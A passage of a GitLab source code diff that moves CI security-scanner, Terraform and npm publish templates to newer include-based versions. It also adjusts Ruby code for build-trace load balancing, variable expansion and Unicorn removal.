- $SAST_DEFAULT_ANALYZERS =~ /flawfinder/
- exists:
- - '**/*.c'
- - '**/*.cpp'
-
-kubesec-sast:
- extends: .sast-analyzer
- image:
- name: "$SAST_ANALYZER_IMAGE"
- variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
- SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/kubesec:$SAST_ANALYZER_IMAGE_TAG"
- rules:
- - if: $SAST_DISABLED
- when: never
- - if: $SAST_EXCLUDED_ANALYZERS =~ /kubesec/
- when: never
- - if: $CI_COMMIT_BRANCH &&
- $SAST_DEFAULT_ANALYZERS =~ /kubesec/ &&
- $SCAN_KUBERNETES_MANIFESTS == 'true'
-
-gosec-sast:
- extends: .sast-analyzer
- image:
- name: "$SAST_ANALYZER_IMAGE"
- variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
- SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/gosec:$SAST_ANALYZER_IMAGE_TAG"
- rules:
- - if: $SAST_DISABLED
- when: never
- - if: $SAST_EXCLUDED_ANALYZERS =~ /gosec/
- when: never
- - if: $CI_COMMIT_BRANCH &&
- $SAST_DEFAULT_ANALYZERS =~ /gosec/
- exists:
- - '**/*.go'
-
-.mobsf-sast:
- extends: .sast-analyzer
- image:
- name: "$SAST_ANALYZER_IMAGE"
- variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
- SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/mobsf:$SAST_ANALYZER_IMAGE_TAG"
-
-mobsf-android-sast:
- extends: .mobsf-sast
- rules:
- - if: $SAST_DISABLED
- when: never
- - if: $SAST_EXCLUDED_ANALYZERS =~ /mobsf/
- when: never
- - if: $CI_COMMIT_BRANCH &&
- $SAST_DEFAULT_ANALYZERS =~ /mobsf/ &&
- $SAST_EXPERIMENTAL_FEATURES == 'true'
- exists:
- - '**/*.apk'
- - '**/AndroidManifest.xml'
-
-mobsf-ios-sast:
- extends: .mobsf-sast
- rules:
- - if: $SAST_DISABLED
- when: never
- - if: $SAST_EXCLUDED_ANALYZERS =~ /mobsf/
- when: never
- - if: $CI_COMMIT_BRANCH &&
- $SAST_DEFAULT_ANALYZERS =~ /mobsf/ &&
- $SAST_EXPERIMENTAL_FEATURES == 'true'
- exists:
- - '**/*.ipa'
- - '**/*.xcodeproj/*'
-
-nodejs-scan-sast:
- extends: .sast-analyzer
- image:
- name: "$SAST_ANALYZER_IMAGE"
- variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
- SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/nodejs-scan:$SAST_ANALYZER_IMAGE_TAG"
- rules:
- - if: $SAST_DISABLED
- when: never
- - if: $SAST_EXCLUDED_ANALYZERS =~ /nodejs-scan/
- when: never
- - if: $CI_COMMIT_BRANCH &&
- $SAST_DEFAULT_ANALYZERS =~ /nodejs-scan/
- exists:
- - '**/package.json'
-
-phpcs-security-audit-sast:
- extends: .sast-analyzer
- image:
- name: "$SAST_ANALYZER_IMAGE"
- variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
- SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/phpcs-security-audit:$SAST_ANALYZER_IMAGE_TAG"
- rules:
- - if: $SAST_DISABLED
- when: never
- - if: $SAST_EXCLUDED_ANALYZERS =~ /phpcs-security-audit/
- when: never
- - if: $CI_COMMIT_BRANCH &&
- $SAST_DEFAULT_ANALYZERS =~ /phpcs-security-audit/
- exists:
- - '**/*.php'
-
-pmd-apex-sast:
- extends: .sast-analyzer
- image:
- name: "$SAST_ANALYZER_IMAGE"
- variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
- SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/pmd-apex:$SAST_ANALYZER_IMAGE_TAG"
- rules:
- - if: $SAST_DISABLED
- when: never
- - if: $SAST_EXCLUDED_ANALYZERS =~ /pmd-apex/
- when: never
- - if: $CI_COMMIT_BRANCH &&
- $SAST_DEFAULT_ANALYZERS =~ /pmd-apex/
- exists:
- - '**/*.cls'
-
-security-code-scan-sast:
- extends: .sast-analyzer
- image:
- name: "$SAST_ANALYZER_IMAGE"
- variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
- SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/security-code-scan:$SAST_ANALYZER_IMAGE_TAG"
- rules:
- - if: $SAST_DISABLED
- when: never
- - if: $SAST_EXCLUDED_ANALYZERS =~ /security-code-scan/
- when: never
- - if: $CI_COMMIT_BRANCH &&
- $SAST_DEFAULT_ANALYZERS =~ /security-code-scan/
- exists:
- - '**/*.csproj'
- - '**/*.vbproj'
-
-semgrep-sast:
- extends: .sast-analyzer
- image:
- name: "$SAST_ANALYZER_IMAGE"
- variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
- SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/semgrep:$SAST_ANALYZER_IMAGE_TAG"
- rules:
- - if: $SAST_DISABLED
- when: never
- - if: $SAST_EXCLUDED_ANALYZERS =~ /semgrep/
- when: never
- - if: $CI_COMMIT_BRANCH &&
- $SAST_DEFAULT_ANALYZERS =~ /semgrep/
- exists:
- - '**/*.py'
- - '**/*.js'
- - '**/*.jsx'
- - '**/*.ts'
- - '**/*.tsx'
-
-sobelow-sast:
- extends: .sast-analyzer
- image:
- name: "$SAST_ANALYZER_IMAGE"
- variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
- SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/sobelow:$SAST_ANALYZER_IMAGE_TAG"
- rules:
- - if: $SAST_DISABLED
- when: never
- - if: $SAST_EXCLUDED_ANALYZERS =~ /sobelow/
- when: never
- - if: $CI_COMMIT_BRANCH &&
- $SAST_DEFAULT_ANALYZERS =~ /sobelow/
- exists:
- - 'mix.exs'
-
-spotbugs-sast:
- extends: .sast-analyzer
- image:
- name: "$SAST_ANALYZER_IMAGE"
- variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
- SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/spotbugs:$SAST_ANALYZER_IMAGE_TAG"
- rules:
- - if: $SAST_EXCLUDED_ANALYZERS =~ /spotbugs/
- when: never
- - if: $SAST_DEFAULT_ANALYZERS =~ /mobsf/ &&
- $SAST_EXPERIMENTAL_FEATURES == 'true'
- exists:
- - '**/AndroidManifest.xml'
- when: never
- - if: $SAST_DISABLED
- when: never
- - if: $CI_COMMIT_BRANCH &&
- $SAST_DEFAULT_ANALYZERS =~ /spotbugs/
- exists:
- - '**/*.groovy'
- - '**/*.java'
- - '**/*.scala'
- - '**/*.kt'
+include:
+ template: Jobs/SAST.gitlab-ci.yml
diff --git a/lib/gitlab/ci/templates/Security/Secret-Detection.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/Secret-Detection.gitlab-ci.yml
index c255fb4707a..d4ea7165d0a 100644
--- a/lib/gitlab/ci/templates/Security/Secret-Detection.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/Secret-Detection.gitlab-ci.yml
@@ -1,45 +1,5 @@
-# Read more about this feature here: https://docs.gitlab.com/ee/user/application_security/secret_detection
-#
-# Configure the scanning tool through the environment variables.
-# List of the variables: https://docs.gitlab.com/ee/user/application_security/secret_detection/#available-variables
-# How to set: https://docs.gitlab.com/ee/ci/yaml/#variables
+# This template moved to Jobs/Secret-Detection.gitlab-ci.yml in GitLab 14.0
+# Issue: https://gitlab.com/gitlab-org/gitlab/-/issues/292977
-variables:
- SECURE_ANALYZERS_PREFIX: "registry.gitlab.com/gitlab-org/security-products/analyzers"
- SECRETS_ANALYZER_VERSION: "3"
- SECRET_DETECTION_EXCLUDED_PATHS: ""
-
-
-.secret-analyzer:
- stage: test
- image: "$SECURE_ANALYZERS_PREFIX/secrets:$SECRETS_ANALYZER_VERSION"
- services: []
- allow_failure: true
- # `rules` must be overridden explicitly by each child job
- # see https://gitlab.com/gitlab-org/gitlab/-/issues/218444
- artifacts:
- reports:
- secret_detection: gl-secret-detection-report.json
-
-secret_detection_default_branch:
- extends: .secret-analyzer
- rules:
- - if: $SECRET_DETECTION_DISABLED
- when: never
- - if: $CI_DEFAULT_BRANCH == $CI_COMMIT_BRANCH
- script:
- - /analyzer run
-
-secret_detection:
- extends: .secret-analyzer
- rules:
- - if: $SECRET_DETECTION_DISABLED
- when: never
- - if: $CI_COMMIT_BRANCH && $CI_COMMIT_BRANCH != $CI_DEFAULT_BRANCH
- script:
- - if [[ $CI_COMMIT_TAG ]]; then echo "Skipping Secret Detection for tags. No code changes have occurred."; exit 0; fi
- - git fetch origin $CI_DEFAULT_BRANCH $CI_COMMIT_REF_NAME
- - git log --left-right --cherry-pick --pretty=format:"%H" refs/remotes/origin/$CI_DEFAULT_BRANCH...refs/remotes/origin/$CI_COMMIT_REF_NAME > "$CI_COMMIT_SHA"_commit_list.txt
- - export SECRET_DETECTION_COMMITS_FILE="$CI_COMMIT_SHA"_commit_list.txt
- - /analyzer run
- - rm "$CI_COMMIT_SHA"_commit_list.txt
+include:
+ template: Jobs/Secret-Detection.gitlab-ci.yml
diff --git a/lib/gitlab/ci/templates/Security/Secure-Binaries.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/Secure-Binaries.gitlab-ci.yml
index ac975fbbeab..d410c49b9a4 100644
--- a/lib/gitlab/ci/templates/Security/Secure-Binaries.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/Secure-Binaries.gitlab-ci.yml
@@ -15,7 +15,6 @@ variables:
SECURE_BINARIES_ANALYZERS: >-
bandit, brakeman, gosec, spotbugs, flawfinder, phpcs-security-audit, security-code-scan, nodejs-scan, eslint, secrets, sobelow, pmd-apex, kubesec, semgrep,
bundler-audit, retire.js, gemnasium, gemnasium-maven, gemnasium-python,
- klar, clair-vulnerabilities-db,
license-finder,
dast, api-fuzzing
@@ -78,6 +77,8 @@ brakeman:
gosec:
extends: .download_images
+ variables:
+ SECURE_BINARIES_ANALYZER_VERSION: "3"
only:
variables:
- $SECURE_BINARIES_DOWNLOAD_IMAGES == "true" &&
@@ -161,28 +162,6 @@ kubesec:
variables:
- $SECURE_BINARIES_DOWNLOAD_IMAGES == "true" &&
$SECURE_BINARIES_ANALYZERS =~ /\bkubesec\b/
-#
-# Container Scanning jobs
-#
-
-klar:
- extends: .download_images
- only:
- variables:
- - $SECURE_BINARIES_DOWNLOAD_IMAGES == "true" &&
- $SECURE_BINARIES_ANALYZERS =~ /\bklar\b/
- variables:
- SECURE_BINARIES_ANALYZER_VERSION: "3"
-
-clair-vulnerabilities-db:
- extends: .download_images
- only:
- variables:
- - $SECURE_BINARIES_DOWNLOAD_IMAGES == "true" &&
- $SECURE_BINARIES_ANALYZERS =~ /\bclair-vulnerabilities-db\b/
- variables:
- SECURE_BINARIES_IMAGE: arminc/clair-db
- SECURE_BINARIES_ANALYZER_VERSION: latest
#
# Dependency Scanning jobs
diff --git a/lib/gitlab/ci/templates/Terraform.gitlab-ci.yml b/lib/gitlab/ci/templates/Terraform.gitlab-ci.yml
index 6b9db1c2e0f..62b32d7c2db 100644
--- a/lib/gitlab/ci/templates/Terraform.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Terraform.gitlab-ci.yml
@@ -1,61 +1,22 @@
-# Official image for Hashicorp's Terraform. It uses light image which is Alpine
-# based as it is much lighter.
-#
-# Entrypoint is also needed as image by default set `terraform` binary as an
-# entrypoint.
-image:
- name: registry.gitlab.com/gitlab-org/gitlab-build-images:terraform
- entrypoint:
- - '/usr/bin/env'
- - 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
-
-# Default output file for Terraform plan
-variables:
- PLAN: plan.tfplan
- JSON_PLAN_FILE: tfplan.json
-
-cache:
- paths:
- - .terraform
- - .terraform.lock.hcl
-
-before_script:
- - alias convert_report="jq -r '([.resource_changes[]?.change.actions?]|flatten)|{\"create\":(map(select(.==\"create\"))|length),\"update\":(map(select(.==\"update\"))|length),\"delete\":(map(select(.==\"delete\"))|length)}'"
- - terraform --version
- - terraform init
+include:
+ - template: Terraform/Base.latest.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Terraform/Base.latest.gitlab-ci.yml
stages:
+ - init
- validate
- build
- - test
- deploy
+init:
+ extends: .init
+
validate:
- stage: validate
- script:
- - terraform validate
+ extends: .validate
-plan:
- stage: build
- script:
- - terraform plan -out=$PLAN
- - "terraform show --json $PLAN | convert_report > $JSON_PLAN_FILE"
- artifacts:
- paths:
- - $PLAN
- reports:
- terraform: $JSON_PLAN_FILE
+build:
+ extends: .build
-# Separate apply job for manual launching Terraform as it can be destructive
-# action.
-apply:
- stage: deploy
- environment:
- name: production
- script:
- - terraform apply -input=false $PLAN
+deploy:
+ extends: .deploy
dependencies:
- - plan
- rules:
- - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
- when: manual
+ - build
diff --git a/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml b/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml
index 404d4a4c6db..f0621165f8a 100644
--- a/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml
@@ -6,7 +6,7 @@ stages:
- deploy
- performance
-performance:
+browser_performance:
stage: performance
image: docker:git
variables:
diff --git a/lib/gitlab/ci/templates/npm.gitlab-ci.yml b/lib/gitlab/ci/templates/npm.gitlab-ci.yml
index 035ba52da84..536cf9bd8d8 100644
--- a/lib/gitlab/ci/templates/npm.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/npm.gitlab-ci.yml
@@ -1,22 +1,28 @@
-default:
+publish:
image: node:latest
-
- # Validate that the repository contains a package.json and extract a few values from it.
- before_script:
+ stage: deploy
+ rules:
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH || $CI_COMMIT_REF_NAME =~ /^v\d+\.\d+\.\d+.*$/
+ changes:
+ - package.json
+ script:
+ # If no .npmrc if included in the repo, generate a temporary one that is configured to publish to GitLab's NPM registry
- |
- if [[ ! -f package.json ]]; then
- echo "No package.json found! A package.json file is required to publish a package to GitLab's NPM registry."
- echo 'For more information, see https://docs.gitlab.com/ee/user/packages/npm_registry/#creating-a-project'
- exit 1
+ if [[ ! -f .npmrc ]]; then
+ echo 'No .npmrc found! Creating one now. Please review the following link for more information: https://docs.gitlab.com/ee/user/packages/npm_registry/index.html#project-level-npm-endpoint-1'
+ {
+ echo "@${CI_PROJECT_ROOT_NAMESPACE}:registry=${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/npm/"
+ echo "${CI_API_V4_URL#http*:}/projects/${CI_PROJECT_ID}/packages/npm/:_authToken=\${CI_JOB_TOKEN}"
+ } >> .npmrc
fi
+ - echo "Created the following .npmrc:"; cat .npmrc
+
+ # Extract a few values from package.json
- NPM_PACKAGE_NAME=$(node -p "require('./package.json').name")
- NPM_PACKAGE_VERSION=$(node -p "require('./package.json').version")
-# Validate that the package name is properly scoped to the project's root namespace.
-# For more information, see https://docs.gitlab.com/ee/user/packages/npm_registry/#package-naming-convention
-validate_package_scope:
- stage: build
- script:
+ # Validate that the package name is properly scoped to the project's root namespace.
+ # For more information, see https://docs.gitlab.com/ee/user/packages/npm_registry/#package-naming-convention
- |
if [[ ! $NPM_PACKAGE_NAME =~ ^@$CI_PROJECT_ROOT_NAMESPACE/ ]]; then
echo "Invalid package scope! Packages must be scoped in the root namespace of the project, e.g. \"@${CI_PROJECT_ROOT_NAMESPACE}/${CI_PROJECT_NAME}\""
@@ -24,36 +30,12 @@ validate_package_scope:
exit 1
fi
-# If no .npmrc if included in the repo, generate a temporary one to use during the publish step
-# that is configured to publish to GitLab's NPM registry
-create_npmrc:
- stage: build
- script:
+ # Compare the version in package.json to all published versions.
+ # If the package.json version has not yet been published, run `npm publish`.
- |
- if [[ ! -f .npmrc ]]; then
- echo 'No .npmrc found! Creating one now. Please review the following link for more information: https://docs.gitlab.com/ee/user/packages/npm_registry/index.html#authenticating-with-a-ci-job-token'
-
- {
- echo '@${CI_PROJECT_ROOT_NAMESPACE}:registry=${CI_SERVER_PROTOCOL}://${CI_SERVER_HOST}:${CI_SERVER_PORT}/api/v4/projects/${CI_PROJECT_ID}/packages/npm/'
- echo '//${CI_SERVER_HOST}:${CI_SERVER_PORT}/api/v4/packages/npm/:_authToken=${CI_JOB_TOKEN}'
- echo '//${CI_SERVER_HOST}:${CI_SERVER_PORT}/api/v4/projects/${CI_PROJECT_ID}/packages/npm/:_authToken=${CI_JOB_TOKEN}'
- } >> .npmrc
-
- fi
- artifacts:
- paths:
- - .npmrc
-
-# Publish the package. If the version in package.json has not yet been published, it will be
-# published to GitLab's NPM registry. If the version already exists, the publish command
-# will fail and the existing package will not be updated.
-publish_package:
- stage: deploy
- script:
- - |
- {
- npm publish &&
+ if [[ $(npm view "${NPM_PACKAGE_NAME}" versions) != *"'${NPM_PACKAGE_VERSION}'"* ]]; then
+ npm publish
echo "Successfully published version ${NPM_PACKAGE_VERSION} of ${NPM_PACKAGE_NAME} to GitLab's NPM registry: ${CI_PROJECT_URL}/-/packages"
- } || {
- echo "No new version of ${NPM_PACKAGE_NAME} published. This is most likely because version ${NPM_PACKAGE_VERSION} already exists in GitLab's NPM registry."
- }
+ else
+ echo "Version ${NPM_PACKAGE_VERSION} of ${NPM_PACKAGE_NAME} has already been published, so no new version has been published."
+ fi
diff --git a/lib/gitlab/ci/templates/npm.latest.gitlab-ci.yml b/lib/gitlab/ci/templates/npm.latest.gitlab-ci.yml
deleted file mode 100644
index 536cf9bd8d8..00000000000
--- a/lib/gitlab/ci/templates/npm.latest.gitlab-ci.yml
+++ /dev/null
@@ -1,41 +0,0 @@
-publish:
- image: node:latest
- stage: deploy
- rules:
- - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH || $CI_COMMIT_REF_NAME =~ /^v\d+\.\d+\.\d+.*$/
- changes:
- - package.json
- script:
- # If no .npmrc if included in the repo, generate a temporary one that is configured to publish to GitLab's NPM registry
- - |
- if [[ ! -f .npmrc ]]; then
- echo 'No .npmrc found! Creating one now. Please review the following link for more information: https://docs.gitlab.com/ee/user/packages/npm_registry/index.html#project-level-npm-endpoint-1'
- {
- echo "@${CI_PROJECT_ROOT_NAMESPACE}:registry=${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/npm/"
- echo "${CI_API_V4_URL#http*:}/projects/${CI_PROJECT_ID}/packages/npm/:_authToken=\${CI_JOB_TOKEN}"
- } >> .npmrc
- fi
- - echo "Created the following .npmrc:"; cat .npmrc
-
- # Extract a few values from package.json
- - NPM_PACKAGE_NAME=$(node -p "require('./package.json').name")
- - NPM_PACKAGE_VERSION=$(node -p "require('./package.json').version")
-
- # Validate that the package name is properly scoped to the project's root namespace.
- # For more information, see https://docs.gitlab.com/ee/user/packages/npm_registry/#package-naming-convention
- - |
- if [[ ! $NPM_PACKAGE_NAME =~ ^@$CI_PROJECT_ROOT_NAMESPACE/ ]]; then
- echo "Invalid package scope! Packages must be scoped in the root namespace of the project, e.g. \"@${CI_PROJECT_ROOT_NAMESPACE}/${CI_PROJECT_NAME}\""
- echo 'For more information, see https://docs.gitlab.com/ee/user/packages/npm_registry/#package-naming-convention'
- exit 1
- fi
-
- # Compare the version in package.json to all published versions.
- # If the package.json version has not yet been published, run `npm publish`.
- - |
- if [[ $(npm view "${NPM_PACKAGE_NAME}" versions) != *"'${NPM_PACKAGE_VERSION}'"* ]]; then
- npm publish
- echo "Successfully published version ${NPM_PACKAGE_VERSION} of ${NPM_PACKAGE_NAME} to GitLab's NPM registry: ${CI_PROJECT_URL}/-/packages"
- else
- echo "Version ${NPM_PACKAGE_VERSION} of ${NPM_PACKAGE_NAME} has already been published, so no new version has been published."
- fi
diff --git a/lib/gitlab/ci/trace.rb b/lib/gitlab/ci/trace.rb
index c4757edf74e..84eb860a168 100644
--- a/lib/gitlab/ci/trace.rb
+++ b/lib/gitlab/ci/trace.rb
@@ -14,6 +14,8 @@ module Gitlab
UPDATE_FREQUENCY_DEFAULT = 60.seconds
UPDATE_FREQUENCY_WHEN_BEING_WATCHED = 3.seconds
+ LOAD_BALANCING_STICKING_NAMESPACE = 'ci/build/trace'
+
ArchiveError = Class.new(StandardError)
AlreadyArchivedError = Class.new(StandardError)
LockedError = Class.new(StandardError)
@@ -296,25 +298,31 @@ module Gitlab
read_trace_artifact(job) { job.job_artifacts_trace }
end
- ##
- # Overridden in EE
- #
- def destroy_stream(job)
+ def destroy_stream(build)
+ if consistent_archived_trace?(build)
+ ::Gitlab::Database::LoadBalancing::Sticking
+ .stick(LOAD_BALANCING_STICKING_NAMESPACE, build.id)
+ end
+
yield
end
- ##
- # Overriden in EE
- #
- def read_trace_artifact(job)
+ def read_trace_artifact(build)
+ if consistent_archived_trace?(build)
+ ::Gitlab::Database::LoadBalancing::Sticking
+ .unstick_or_continue_sticking(LOAD_BALANCING_STICKING_NAMESPACE, build.id)
+ end
+
yield
end
+ def consistent_archived_trace?(build)
+ ::Feature.enabled?(:gitlab_ci_archived_trace_consistent_reads, build.project, default_enabled: false)
+ end
+
def being_watched_cache_key
"gitlab:ci:trace:#{job.id}:watched"
end
end
end
end
-
-::Gitlab::Ci::Trace.prepend_mod_with('Gitlab::Ci::Trace')
diff --git a/lib/gitlab/ci/trace/chunked_io.rb b/lib/gitlab/ci/trace/chunked_io.rb
index 7c2e39b1e53..9f24ba99201 100644
--- a/lib/gitlab/ci/trace/chunked_io.rb
+++ b/lib/gitlab/ci/trace/chunked_io.rb
@@ -229,13 +229,8 @@ module Gitlab
def next_chunk
@chunks_cache[chunk_index] = begin
- if ::Ci::BuildTraceChunk.consistent_reads_enabled?(build)
- ::Ci::BuildTraceChunk
- .safe_find_or_create_by(build: build, chunk_index: chunk_index)
- else
- ::Ci::BuildTraceChunk
- .new(build: build, chunk_index: chunk_index)
- end
+ ::Ci::BuildTraceChunk
+ .safe_find_or_create_by(build: build, chunk_index: chunk_index)
end
end
diff --git a/lib/gitlab/ci/trace/metrics.rb b/lib/gitlab/ci/trace/metrics.rb
index ce9efbda7ea..fcd70634630 100644
--- a/lib/gitlab/ci/trace/metrics.rb
+++ b/lib/gitlab/ci/trace/metrics.rb
@@ -11,7 +11,6 @@ module Gitlab
:streamed, # new trace data has been sent by a runner
:chunked, # new trace chunk has been created
:mutated, # trace has been mutated when removing secrets
- :overwrite, # runner requested overwritting a build trace
:accepted, # scheduled chunks for migration and responded with 202
:finalized, # all live build trace chunks have been persisted
:discarded, # failed to persist live chunks before timeout
diff --git a/lib/gitlab/ci/variables/collection.rb b/lib/gitlab/ci/variables/collection.rb
index e2a8af9c26b..ef9ba1b73c7 100644
--- a/lib/gitlab/ci/variables/collection.rb
+++ b/lib/gitlab/ci/variables/collection.rb
@@ -24,6 +24,10 @@ module Gitlab
self
end
+ def compact
+ Collection.new(select { |variable| !variable.value.nil? })
+ end
+
def concat(resources)
return self if resources.nil?
@@ -64,11 +68,19 @@ module Gitlab
end
def expand_value(value, keep_undefined: false)
- value.gsub(ExpandVariables::VARIABLES_REGEXP) do
+ value.gsub(Item::VARIABLES_REGEXP) do
match = Regexp.last_match
- result = @variables_by_key[match[1] || match[2]]&.value
- result ||= match[0] if keep_undefined
- result
+ if match[:key]
+ # we matched variable
+ if variable = @variables_by_key[match[:key]]
+ variable.value
+ elsif keep_undefined
+ match[0]
+ end
+ else
+ # we escape sequence
+ match[0]
+ end
end
end
diff --git a/lib/gitlab/ci/variables/collection/item.rb b/lib/gitlab/ci/variables/collection/item.rb
index 77da2c4cb91..0217e6129ca 100644
--- a/lib/gitlab/ci/variables/collection/item.rb
+++ b/lib/gitlab/ci/variables/collection/item.rb
@@ -7,6 +7,9 @@ module Gitlab
class Item
include Gitlab::Utils::StrongMemoize
+ VARIABLES_REGEXP = /\$\$|%%|\$(?<key>[a-zA-Z_][a-zA-Z0-9_]*)|\${\g<key>?}|%\g<key>%/.freeze.freeze
+ VARIABLE_REF_CHARS = %w[$ %].freeze
+
def initialize(key:, value:, public: true, file: false, masked: false, raw: false)
raise ArgumentError, "`#{key}` must be of type String or nil value, while it was: #{value.class}" unless
value.is_a?(String) || value.nil?
@@ -34,9 +37,9 @@ module Gitlab
strong_memoize(:depends_on) do
next if raw
- next unless ExpandVariables.possible_var_reference?(value)
+ next unless self.class.possible_var_reference?(value)
- value.scan(ExpandVariables::VARIABLES_REGEXP).map(&:first)
+ value.scan(VARIABLES_REGEXP).filter_map(&:last)
end
end
@@ -64,6 +67,12 @@ module Gitlab
end
end
+ def self.possible_var_reference?(value)
+ return unless value
+
+ VARIABLE_REF_CHARS.any? { |symbol| value.include?(symbol) }
+ end
+
def to_s
return to_runner_variable.to_s unless depends_on
diff --git a/lib/gitlab/ci/yaml_processor/result.rb b/lib/gitlab/ci/yaml_processor/result.rb
index f96a6629849..15cc0c28296 100644
--- a/lib/gitlab/ci/yaml_processor/result.rb
+++ b/lib/gitlab/ci/yaml_processor/result.rb
@@ -111,6 +111,22 @@ module Gitlab
@ci_config.variables_with_data
end
+ def yaml_variables_for(job_name)
+ job = jobs[job_name]
+
+ return [] unless job
+
+ Gitlab::Ci::Variables::Helpers.inherit_yaml_variables(
+ from: root_variables,
+ to: transform_to_yaml_variables(job[:job_variables]),
+ inheritance: job.fetch(:root_variables_inheritance, true)
+ )
+ end
+
+ def stage_for(job_name)
+ jobs.dig(job_name, :stage)
+ end
+
private
def variables
diff --git a/lib/gitlab/cluster/lifecycle_events.rb b/lib/gitlab/cluster/lifecycle_events.rb
index b3dc59466ec..6159fb0a811 100644
--- a/lib/gitlab/cluster/lifecycle_events.rb
+++ b/lib/gitlab/cluster/lifecycle_events.rb
@@ -8,13 +8,13 @@ module Gitlab
# LifecycleEvents lets Rails initializers register application startup hooks
# that are sensitive to forking. For example, to defer the creation of
# watchdog threads. This lets us abstract away the Unix process
- # lifecycles of Unicorn, Sidekiq, Puma, Puma Cluster, etc.
+ # lifecycles of Sidekiq, Puma, Puma Cluster, etc.
#
# We have the following lifecycle events.
#
# - on_before_fork (on master process):
#
- # Unicorn/Puma Cluster: This will be called exactly once,
+ # Puma Cluster: This will be called exactly once,
# on startup, before the workers are forked. This is
# called in the PARENT/MASTER process.
#
@@ -22,7 +22,7 @@ module Gitlab
#
# - on_master_start (on master process):
#
- # Unicorn/Puma Cluster: This will be called exactly once,
+ # Puma Cluster: This will be called exactly once,
# on startup, before the workers are forked. This is
# called in the PARENT/MASTER process.
#
@@ -30,7 +30,7 @@ module Gitlab
#
# - on_before_blackout_period (on master process):
#
- # Unicorn/Puma Cluster: This will be called before a blackout
+ # Puma Cluster: This will be called before a blackout
# period when performing graceful shutdown of master.
# This is called on `master` process.
#
@@ -38,7 +38,7 @@ module Gitlab
#
# - on_before_graceful_shutdown (on master process):
#
- # Unicorn/Puma Cluster: This will be called before a graceful
+ # Puma Cluster: This will be called before a graceful
# shutdown of workers starts happening, but after blackout period.
# This is called on `master` process.
#
@@ -46,11 +46,6 @@ module Gitlab
#
# - on_before_master_restart (on master process):
#
- # Unicorn: This will be called before a new master is spun up.
- # This is called on forked master before `execve` to become
- # a new masterfor Unicorn. This means that this does not really
- # affect old master process.
- #
# Puma Cluster: This will be called before a new master is spun up.
# This is called on `master` process.
#
@@ -58,7 +53,7 @@ module Gitlab
#
# - on_worker_start (on worker process):
#
- # Unicorn/Puma Cluster: This is called in the worker process
+ # Puma Cluster: This is called in the worker process
# exactly once before processing requests.
#
# Sidekiq/Puma Single: This is called immediately.
@@ -114,7 +109,7 @@ module Gitlab
end
#
- # Lifecycle integration methods (called from unicorn.rb, puma.rb, etc.)
+ # Lifecycle integration methods (called from puma.rb, etc.)
#
def do_worker_start
call(:worker_start_hooks, @worker_start_hooks)
@@ -167,9 +162,6 @@ module Gitlab
# Sidekiq doesn't fork
return false if Gitlab::Runtime.sidekiq?
- # Unicorn always forks
- return true if Gitlab::Runtime.unicorn?
-
# Puma sometimes forks
return true if in_clustered_puma?
diff --git a/lib/gitlab/cluster/mixins/unicorn_http_server.rb b/lib/gitlab/cluster/mixins/unicorn_http_server.rb
deleted file mode 100644
index 440ed02a355..00000000000
--- a/lib/gitlab/cluster/mixins/unicorn_http_server.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Cluster
- module Mixins
- module UnicornHttpServer
- def self.prepended(base)
- unless base.method_defined?(:reexec) && base.method_defined?(:stop)
